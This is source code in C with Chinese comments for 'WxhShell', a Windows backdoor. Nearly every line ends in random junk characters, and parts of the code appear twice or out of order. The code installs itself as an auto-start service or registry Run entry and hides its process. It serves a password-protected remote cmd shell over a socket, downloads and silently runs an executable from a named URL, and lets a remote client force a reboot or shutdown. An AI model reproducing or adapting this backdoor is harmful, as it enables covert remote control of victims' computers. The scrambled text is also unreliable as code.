    if(Boot(SHUTDOWN)) 9mRP%c#(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KI Xp+Z  
    else { ]wm<$+@  
    closesocket(wsh); $@^*lUw  
    ExitThread(0); }^tW's8  
    } B3g # )  
    break; <e'/z3TbRW  
    } 3}kG ]#  
  // 获取shell q@[UeXu?pZ  
  case 's': { c.4WwzK  
    CmdShell(wsh); IF'Tj`yD  
    closesocket(wsh); o'J^kd`  
    ExitThread(0); *!m(oP  
    break; u1;sH{YK>  
  } mr2fNA>kR  
  // 退出 dwJnPJ=z  
  case 'x': { </]a`h]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #sM`>KG6T1  
    CloseIt(wsh); '@dk3:3t  
    break; F_-}GN%  
    } )0?u_Z]w9  
  // 离开 ZgA+$}U)uW  
  case 'q': { tE WolO[\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )}lO%B'K  
    closesocket(wsh); ^?5HagA  
    WSACleanup(); H7%q[O  
    exit(1); ToR@XL!%rP  
    break; "6q@}sz!  
        }  OEnCN  
  } I/* ULR,  
  } *BHp?cn;F2  
~yiw{:\  
  // 提示信息 _lrvK99  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); crQ_@@X?<  
} wA\a ]X.  
  } D6,Ol4d  
kX%vTl7F  
  return; g&I|@$\  
} ; ,n}>iTE  
_E2W%N  
// shell模块句柄 {PKf]m  
int CmdShell(SOCKET sock) r T_J6F5J  
{ rT(b t~Z  
STARTUPINFO si; 9m%2&fjK^  
ZeroMemory(&si,sizeof(si)); @%BsQm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4^T_" W}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P,@/ap7J  
PROCESS_INFORMATION ProcessInfo; ~JHEr48  
char cmdline[]="cmd"; )F+wk"`+6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p|g7Z  
  return 0; G@P+M1c  
} 9#E)H?`g  
GIhX2EvAS  
// 自身启动模式 5Nl?Km~  
int StartFromService(void) <w3_EO  
{ !v. <H]s)  
typedef struct Q zp!)i  
{ RQ;w$I\  
  DWORD ExitStatus; I,W `s  
  DWORD PebBaseAddress;  [ J4n%  
  DWORD AffinityMask; CsEU:v  
  DWORD BasePriority; A|YiSwyy  
  ULONG UniqueProcessId; _*ar\A`  
  ULONG InheritedFromUniqueProcessId; XhUVDmeUMb  
}   PROCESS_BASIC_INFORMATION; %UlgG 1?A  
35J VF*z  
PROCNTQSIP NtQueryInformationProcess; CbwQbJ/v7  
Pk>S;KT.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nK}-^Ur  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <%.lPO]&E  
p<+Y;,+  
  HANDLE             hProcess; !P3y+;S  
  PROCESS_BASIC_INFORMATION pbi; sQ.t3a3m  
57KrDxE}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X?o6=)SC|  
  if(NULL == hInst ) return 0; 7{\6EC}d[&  
~r_2V$sC2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $WXO1o(O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pkv+^[(4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a4n5i.;  
Ibg~.>.u{  
  if (!NtQueryInformationProcess) return 0; '61>.u:2  
"U/yq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !j%u wje\  
  if(!hProcess) return 0; U/-k'6=M  
KL./  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |K" nSXzk  
a"l\_D'.K8  
  CloseHandle(hProcess); yKy )%i  
k"|Fu   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w I;sZJc  
if(hProcess==NULL) return 0; 6F5g2hBz  
WIabQ_fX  
HMODULE hMod; D#A6s32a  
char procName[255]; TKQ^D  
unsigned long cbNeeded; J9MAnYd)i  
Xck`"RU<xA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~E/=nv$  
h_]*|[g  
  CloseHandle(hProcess); Ww"]3  
)2Bb,p<Wr  
if(strstr(procName,"services")) return 1; // 以服务启动 H>o \C  
%|j8#09  
  return 0; // 注册表启动 A/{!w"G  
} p[ &b@U#  
oJQ \?~  
// 主模块 z;MPp#Y  
int StartWxhshell(LPSTR lpCmdLine) D8{ ,}@  
{ U }AIOtUw  
  SOCKET wsl; )7p(htCz5  
BOOL val=TRUE; 'j-U=2,n  
  int port=0; Wt=\hixj-  
  struct sockaddr_in door; |AT`(71  
;/t~MH  
  if(wscfg.ws_autoins) Install(); %w?C)$Kn\  
WZTAXOw  
port=atoi(lpCmdLine); ZtmaV27s/  
'Yi="kno  
if(port<=0) port=wscfg.ws_port; !^o{}*]Pi  
 56MY@  
  WSADATA data; YrYmPSb=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7dv!  
3 NFo=Z8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x6^Y&,y9kU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @AM11v\:  
  door.sin_family = AF_INET; e)N< r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +z:>Nl  
  door.sin_port = htons(port); /4N?v. jf  
+prUau*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ns *:mGh  
closesocket(wsl); #SG.`J<%  
return 1; dS\!tdHP-Q  
} -2(?O`tZ  
IMBjI#\  
  if(listen(wsl,2) == INVALID_SOCKET) { R1/c@HQw?  
closesocket(wsl); =XK}eQ_d  
return 1; | KY-kRN7  
} uGF{0 )0g  
  Wxhshell(wsl); t2YB(6w+xg  
  WSACleanup(); gVe]?Jva`  
E-($Xc  
return 0; T "hjL  
wph8ln"C-  
} ;mRZ_^V;  
oe|8  
// 以NT服务方式启动 (> _Lb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |rG)Q0H,  
{ !dUdz7  
DWORD   status = 0; H^54o$5  
  DWORD   specificError = 0xfffffff; KVh#"]<WV  
\.}ZvM$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %H;}+U]Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8a&c=9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `6lOqH  
  serviceStatus.dwWin32ExitCode     = 0; ^G2M4+W|  
  serviceStatus.dwServiceSpecificExitCode = 0; 4HR36=E6  
  serviceStatus.dwCheckPoint       = 0; ' Ttsscv  
  serviceStatus.dwWaitHint       = 0; 3l,-n|x  
*8uS,s6g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tv`b##  
  if (hServiceStatusHandle==0) return; l($ 8H AJ  
R\XS5HOE(  
status = GetLastError(); p2k`)=iX  
  if (status!=NO_ERROR) "}#%h&,  
{ ;]b4O4C\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TLp2a<Iy  
    serviceStatus.dwCheckPoint       = 0; a DXaQ  
    serviceStatus.dwWaitHint       = 0; O!^ >YvOh  
    serviceStatus.dwWin32ExitCode     = status; @}:E{J#g  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?qi~8.<w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K~2sX>l  
    return; j*[P\Cm  
  } v+[S${  
(z.n9lkfi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZNM9@;7  
  serviceStatus.dwCheckPoint       = 0; |TP,   
  serviceStatus.dwWaitHint       = 0; TET=>6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lM}-'8tt?  
} iF":c}$.  
_x1W\#  
// 处理NT服务事件,比如:启动、停止 /CMgWGI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 09 trFj$L  
{ 7(uz*~Z?`0  
switch(fdwControl) :CK`v6 Qs  
{ D B65vM  
case SERVICE_CONTROL_STOP: ,|3_@tUl  
  serviceStatus.dwWin32ExitCode = 0; +RJKJ:W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WJu(,zM?G  
  serviceStatus.dwCheckPoint   = 0; >j3':>\U  
  serviceStatus.dwWaitHint     = 0; 7}y@VO6]  
  { rMHh!)^#W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9(O eH7  
  } d(TN(6g@  
  return; B@NBN&Fr  
case SERVICE_CONTROL_PAUSE: h#KSKKNW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bmK  
  break; 1#%H!GKvTU  
case SERVICE_CONTROL_CONTINUE: ot[ZFF\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |59)6/i  
  break; |JF,n~n  
case SERVICE_CONTROL_INTERROGATE: *4NY"EwjN  
  break; /]'&cD 1  
}; :r ~iFP*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J(@" 7RX  
} 8Iu6r}k?~`  
=}kISh  
// 标准应用程序主函数 mXyN{`q=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U;4i&=.!  
{ "uT2 DY[  
sve} ent  
// 获取操作系统版本 h@\-]zN{  
OsIsNt=GetOsVer(); {:*G/*1[.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m_CW Vw  
?bt;i>O\  
  // 从命令行安装 88,hza`#V  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hg<aU*o;  
iE HWD.u  
  // 下载执行文件 (]T[n={Y  
if(wscfg.ws_downexe) { S{N4[U?V>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2T)k-3  
  WinExec(wscfg.ws_filenam,SW_HIDE); :$k1I-^R  
} FeMgn`q  
cu foP&  
if(!OsIsNt) { Knqv|jJVx1  
// 如果时win9x,隐藏进程并且设置为注册表启动 JVkuSIR>  
HideProc(); m$^5{qpg  
StartWxhshell(lpCmdLine); y0(.6HI  
} A{J?I:  
else ^)Awjj9  
  if(StartFromService()) _u^3uzu  
  // 以服务方式启动 m"/..&'GC  
  StartServiceCtrlDispatcher(DispatchTable); gaz",kK<  
else hnB`+!  
  // 普通方式启动 K>e-IxA);0  
  StartWxhshell(lpCmdLine); #n{4f1TZ  
Anu:  
return 0; 3@\/5I xn  
} @vyEN.K%mm  
ar\|D\0V  
d/j?.\  
>'W,8F  
=========================================== p+|8(w9A${  
Z!~_#_Ugl  
{6h 1  
^h2+""  
\wsVO"/  
2wB *c9~  
" %L- qAI&V  
/CO=!*7fz  
#include <stdio.h> FXDB> }8  
#include <string.h> hZ452W  
#include <windows.h> K$,<<hl  
#include <winsock2.h> mz%l4w?'  
#include <winsvc.h> }q]*aADe  
#include <urlmon.h> 9xz@2b@  
*cCx]C.~  
#pragma comment (lib, "Ws2_32.lib") j3;W-c`5  
#pragma comment (lib, "urlmon.lib") i 0/QfB%O  
b way+lh  
#define MAX_USER   100 // 最大客户端连接数 @@U  
#define BUF_SOCK   200 // sock buffer >AX_"Q~  
#define KEY_BUFF   255 // 输入 buffer w^ z ftm  
:%J;[bS+  
#define REBOOT     0   // 重启 \By_mw  
#define SHUTDOWN   1   // 关机 9v`sSTlSd  
<(@S;?ZEW  
#define DEF_PORT   5000 // 监听端口  8Cp@k=  
5NUaXQ  
#define REG_LEN     16   // 注册表键长度 O2ktqAWx@  
#define SVC_LEN     80   // NT服务名长度 >I5Wf /$  
Vn kh Y  
// 从dll定义API J/K~8s c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q"u2<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (|Gwg\r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EK=0oy[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (?8i^T?WP=  
ru2M"]T  
// wxhshell配置信息 EC8Z. Uu  
struct WSCFG { 8)?&eE'  
  int ws_port;         // 监听端口 n0co* ]X+k  
  char ws_passstr[REG_LEN]; // 口令 -.? @f tY  
  int ws_autoins;       // 安装标记, 1=yes 0=no b<4nljbx  
  char ws_regname[REG_LEN]; // 注册表键名 !`H{jwH  
  char ws_svcname[REG_LEN]; // 服务名 /"st sF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jQm~F` z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >Rt:8uurAG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }=R0AKz!Cv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +@!\3a4!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fXWE4^jU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )'f=!'X  
-r<8mL:yW  
}; $Ugc:L<h+  
#~/9cVm$  
// default Wxhshell configuration (0Br`%!F  
struct WSCFG wscfg={DEF_PORT, .6$=]hdAp  
    "xuhuanlingzhe", Uv>e :U7;  
    1, %i3[x.M  
    "Wxhshell", tjRw bnT"  
    "Wxhshell", X$ \CC18  
            "WxhShell Service", mxF+Fp~  
    "Wrsky Windows CmdShell Service", PVF :p7  
    "Please Input Your Password: ", %G 2g @2  
  1, W`vPf  
  "http://www.wrsky.com/wxhshell.exe", ysG1{NOl  
  "Wxhshell.exe" CKZEX*mPC  
    }; H $Az,-P  
oY0b8=[  
// 消息定义模块 _F[a2PE2+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1G12FV>M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2HBey  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aW dI  
char *msg_ws_ext="\n\rExit."; lJ=EP.T  
char *msg_ws_end="\n\rQuit."; /cx'(AT  
char *msg_ws_boot="\n\rReboot..."; !y~nsy:&7x  
char *msg_ws_poff="\n\rShutdown..."; * bYU=RS  
char *msg_ws_down="\n\rSave to "; 2>^(&95M  
wM N;<  
char *msg_ws_err="\n\rErr!"; ^_\m@   
char *msg_ws_ok="\n\rOK!"; `lOW7Z}  
^&86VBP  
char ExeFile[MAX_PATH]; v\8v'EDP  
int nUser = 0; H/M]YUs/3  
HANDLE handles[MAX_USER]; tlD^"eq4:  
int OsIsNt; 5<`83; R9  
qzvht4  
SERVICE_STATUS       serviceStatus; klAlS%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ob/<;SrU<  
J`0dF<<{[y  
// 函数声明 C.#Ha-@uz  
int Install(void); 3]9wfT%d  
int Uninstall(void); Hpz1Iy @  
int DownloadFile(char *sURL, SOCKET wsh); ZG1TR F "  
int Boot(int flag); ^pu8\K;~  
void HideProc(void); w<THPFFF"  
int GetOsVer(void); P3W3+pwq  
int Wxhshell(SOCKET wsl); $PRd'YdL/  
void TalkWithClient(void *cs); Zy9IRZe4U  
int CmdShell(SOCKET sock); /*fx`0mY)  
int StartFromService(void); G)NqIur*Z  
int StartWxhshell(LPSTR lpCmdLine); wAW{{ p  
8r"-3<*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w/ZP. B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r*mSnPz\q  
H1q,w|O9j  
// 数据结构和表定义 ;:oJFI#;  
SERVICE_TABLE_ENTRY DispatchTable[] = {`*Fu/Upb  
{ ~"\v(\Pe  
{wscfg.ws_svcname, NTServiceMain}, Q'3tDc<  
{NULL, NULL} Z]{=Jy !F  
}; mDp8JNJNE  
 U&  
// 自我安装 ._j?1Fw`  
int Install(void) |P& \C8h  
{ G#`  
  char svExeFile[MAX_PATH]; <>$CYTb  
  HKEY key; gV9bt ~  
  strcpy(svExeFile,ExeFile); cy? #LS  
`?[,1   
// 如果是win9x系统,修改注册表设为自启动 q'y< UyT6  
if(!OsIsNt) { J9tV|0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K/Y"oQ2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( 1  
  RegCloseKey(key); 4noy!h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Ow8C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CF-tod  
  RegCloseKey(key); l?_Fy_fBt  
  return 0; xH` VX-X3  
    } gzvgXZ1q"  
  } 1'p=yHw  
} *'H\`@L  
else { m*B4a9 f  
>0iCQKq  
// 如果是NT以上系统,安装为系统服务 #b)`as?!1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |N6.:K[`  
if (schSCManager!=0) IIGx+>  
{ \Ezcr=0z{j  
  SC_HANDLE schService = CreateService 3rHn?  
  ( sqV~ Dw  
  schSCManager, hg<[@Q%$o  
  wscfg.ws_svcname, BUsxgs"),  
  wscfg.ws_svcdisp, iyR"O1]  
  SERVICE_ALL_ACCESS, 9dAtQwGR"6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NhTJB7  
  SERVICE_AUTO_START, >iG3!Td)y  
  SERVICE_ERROR_NORMAL, HrZX~JnTmf  
  svExeFile, :|ah u  
  NULL, nIL67&  
  NULL, n!SHExBp  
  NULL, *]R5bj.!o  
  NULL, #1*7eANfr  
  NULL O<|pw  
  ); 5wAKA`p"z  
  if (schService!=0) IaO R%B g  
  { EBL-+%J8  
  CloseServiceHandle(schService); ^ZS!1%1  
  CloseServiceHandle(schSCManager); @x!+_z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,H.5TQ#  
  strcat(svExeFile,wscfg.ws_svcname); k$f2i,7'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (dyY@={q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F(lJ  
  RegCloseKey(key); OXKV6r6f  
  return 0; d)Z&_v<|  
    } o+XQMg  
  } +rSU  
  CloseServiceHandle(schSCManager); OR $i,N|  
} ue+{djz[4  
} q=`n3+N_H~  
#rr!A pJ  
return 1; 0J466H_d{  
} nnT#S  
+%klS `_  
// 自我卸载 ,g0t&jITo  
int Uninstall(void) E>5p7=Or;"  
{ S!gzmkGcj  
  HKEY key; iV#A-9  
#+U1QOsz  
if(!OsIsNt) { 1$C?+H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A X1!<K  
  RegDeleteValue(key,wscfg.ws_regname); ?fC9)s  
  RegCloseKey(key); d8 Jf3Mo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wuk8&P3  
  RegDeleteValue(key,wscfg.ws_regname); 0m> 8  
  RegCloseKey(key); ]i0=3H2  
  return 0; U~?mW,iRL  
  } 6L\]Ee  
} zd!%7 UP  
} EVaHb;  
else { K*,,j\Q.  
),Yk53G6c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /5L\:eX%  
if (schSCManager!=0) ?mK&Slh.  
{ q`L )^In"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qmo}esb'(  
  if (schService!=0) #QcRN?s  
  { GRofOJ  
  if(DeleteService(schService)!=0) { 2&]LZ:(  
  CloseServiceHandle(schService); MXEI/mDYK  
  CloseServiceHandle(schSCManager); T=sAy/1oR  
  return 0; `T1bY9O.  
  } =6=:OId  
  CloseServiceHandle(schService); =v<A&4  
  } 0QfDgDX  
  CloseServiceHandle(schSCManager); -Hw3rv3o  
} gdqBT]j  
} vV 9vB3K5?  
EH M59s|B  
return 1; }#4Ek8nFR  
} &?1^/]'"r  
<~w3[i=  
// 从指定url下载文件 6P>}7R}  
int DownloadFile(char *sURL, SOCKET wsh) P*|=Z>%[0  
{ , .;0xyc  
  HRESULT hr; srO>l ;Vf/  
char seps[]= "/"; NR8`nc1~  
char *token; m||9,z-  
char *file; %+|sbRBb  
char myURL[MAX_PATH]; QE)zH)(  
char myFILE[MAX_PATH]; 9xzow,mi  
,1Z([R*  
strcpy(myURL,sURL); 8c9<kGm$E  
  token=strtok(myURL,seps); aL90:,V  
  while(token!=NULL) M,li\)J!&  
  { &s?uMWR  
    file=token; 5}]+|d;  
  token=strtok(NULL,seps); [ @"6:tTU  
  } $2i@@#g8  
L'aB/5_%  
GetCurrentDirectory(MAX_PATH,myFILE); hp9LV2_5  
strcat(myFILE, "\\"); `]6<j<' ,  
strcat(myFILE, file); e`7>QS ;.  
  send(wsh,myFILE,strlen(myFILE),0); VX8CEO  
send(wsh,"...",3,0); pO:]3qv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C8Mx>6  
  if(hr==S_OK) A4#F AFy  
return 0; N#e9w3Rli  
else U\j g X  
return 1; u1#(~[.  
<?!'  
} jg{2Sxf!c  
i(cKg&+ktd  
// 系统电源模块 c@}t@k  
int Boot(int flag) Tt{z_gU6  
{ </xf4.C  
  HANDLE hToken; |?g-8":H8P  
  TOKEN_PRIVILEGES tkp; "gm5 DE  
m9:ah<  
  if(OsIsNt) { SvvNk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w <"mS*Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &$_!S!Sa/  
    tkp.PrivilegeCount = 1; eQ8t.~5;-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dlCYdwP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i}v.x  
if(flag==REBOOT) { oS9Od8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J!5b~8`v  
  return 0; .7b%7dQ<\  
} `Z5dRLrd  
else { mR XR uK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x`@`y7(  
  return 0; $)o0{HsL+  
} Mz2TwU_  
  } JJbd h \  
  else { {GnZ@Q:F  
if(flag==REBOOT) { . o /uA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jkbeh.  
  return 0; 'plUs<A  
} 7[qL~BT+  
else { N5sVRL"7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GxG~J4  
  return 0; Tjrb.+cua  
} L2EQ 9i'[  
} C5TV}Bq\  
'&Y_,-i  
return 1; c$&({Z{1  
} YOGj__:  
0\ (:y^X  
// win9x进程隐藏模块 Gvh"3|u ?z  
void HideProc(void) /PTRe5-7  
{ W9tZX5V1  
$S?gQN.e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L_vl%ii-  
  if ( hKernel != NULL ) m=^]93+  
  { rg>2tgA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kln)7SzPuk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bh cp=#  
    FreeLibrary(hKernel); ZnI15bsDx  
  } id5`YA$  
gz[3xH~  
return; _\tv ${  
} (,QWK08  
!\BZ_guz  
// 获取操作系统版本 YJ"D"QD  
int GetOsVer(void) j"h/v7~  
{ [*zg? ur  
  OSVERSIONINFO winfo; $;q }j vo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y01! D"{\  
  GetVersionEx(&winfo); e]88 4FP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o#f"wQH;p  
  return 1; pUqC88*j  
  else LAxN?ok9gD  
  return 0; OQ?N_zs,  
} &5b 3k[K"  
j+ -r(lZ  
// 客户端句柄模块 J({D~  
int Wxhshell(SOCKET wsl) 0]c&K  
{ /R=MX>JA;  
  SOCKET wsh; ?%Nh4+3N>  
  struct sockaddr_in client; D0p*Sg  
  DWORD myID; wv{ Qx^  
lm;hW&O9  
  while(nUser<MAX_USER) a0sz$u  
{ !aF~5P7%  
  int nSize=sizeof(client); TK\3mrEI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ' :B;!3a0d  
  if(wsh==INVALID_SOCKET) return 1; -~ ~h1  
+@3+WD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %wOkp`1-  
if(handles[nUser]==0) HFy9b|pjy  
  closesocket(wsh); Z)E)-2U$@  
else ,jis@]:  
  nUser++; wT" :  
  } ]Rxo}A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X=]utn  
~r8<|$;  
  return 0; fuUtM_11  
} .4 WJk>g  
T*C25l;w  
// 关闭 socket 4y7_P0}:B  
void CloseIt(SOCKET wsh) 7mMGH(  
{ "*t6KXVaM  
closesocket(wsh); a,RCK~GR  
nUser--; %hYgG;22  
ExitThread(0); '_.qhsS  
} 4mo/MK&M:  
0N>K4ho6{  
// 客户端请求句柄 zQY ,}a  
void TalkWithClient(void *cs) oHx :["F  
{ bGeIb-|(  
3jxC}xz)  
  SOCKET wsh=(SOCKET)cs; Hm'"I!jyO  
  char pwd[SVC_LEN]; %w65)BFQ  
  char cmd[KEY_BUFF]; L>sLb(2\i  
char chr[1]; nI6ompTX  
int i,j; !mUJ["#  
^)>( <6  
  while (nUser < MAX_USER) { }BlyEcw'aN  
r4 *H96l  
if(wscfg.ws_passstr) { `K.B`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !X-\;3kC0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C'$}{%Cc@$  
  //ZeroMemory(pwd,KEY_BUFF); 'A:Y&w"r  
      i=0; kMch   
  while(i<SVC_LEN) { )f:i4.M  
2\1+M)  
  // 设置超时 Zc~7R`v7}  
  fd_set FdRead; 3qe`#j  
  struct timeval TimeOut; d0I s|Gs  
  FD_ZERO(&FdRead); p)/e;q^  
  FD_SET(wsh,&FdRead); ?{f6su@rW  
  TimeOut.tv_sec=8; o1(;"5MM  
  TimeOut.tv_usec=0; Wds>'zzS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c 1F^Gj!8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X13+n2^8]  
'M"z3j]m-,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); St%x\[D  
  pwd=chr[0]; +-|""`I1I  
  if(chr[0]==0xd || chr[0]==0xa) { ^ul1{  
  pwd=0; 0@ "'SKq  
  break; 'xqyG XI  
  } ?Cf'IBpN  
  i++; 3/n?g7B  
    } ?Xypn#OPt  
Y`ip. Nx  
  // 如果是非法用户,关闭 socket Bzwll  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \T_ZcV  
} f~mwDkf?L  
L!Y|`P#Yr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8+oc4~!A@n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7w) 8s  
2v ~8fr4  
while(1) { !FP ]  
u?72]?SM  
  ZeroMemory(cmd,KEY_BUFF); K _VIk'RB  
<pb  
      // 自动支持客户端 telnet标准   _D4qnb@  
  j=0; pE<a:2J  
  while(j<KEY_BUFF) { .2@T|WD!Ah  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fL2P6N@  
  cmd[j]=chr[0]; !ZUUn*e{5  
  if(chr[0]==0xa || chr[0]==0xd) { |(%<FY$  
  cmd[j]=0; t^":.}[Q  
  break; ?`?Tg&W  
  } i;%G Z8  
  j++; #h=V@Dh  
    } HU?1>}4L  
j13- ?fQ&  
  // 下载文件 G)< B7-72;  
  if(strstr(cmd,"http://")) { )4uWB2ZRoi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A2ye ^<-C.  
  if(DownloadFile(cmd,wsh)) BGibBF^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ck] I?  
  else aYa`ex  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -nNKUt.I  
  } )b1hF  
  else { ]" V_`i7Z  
ZXQ5fBx  
    switch(cmd[0]) { G>vK$W$f N  
  *$0*5d7  
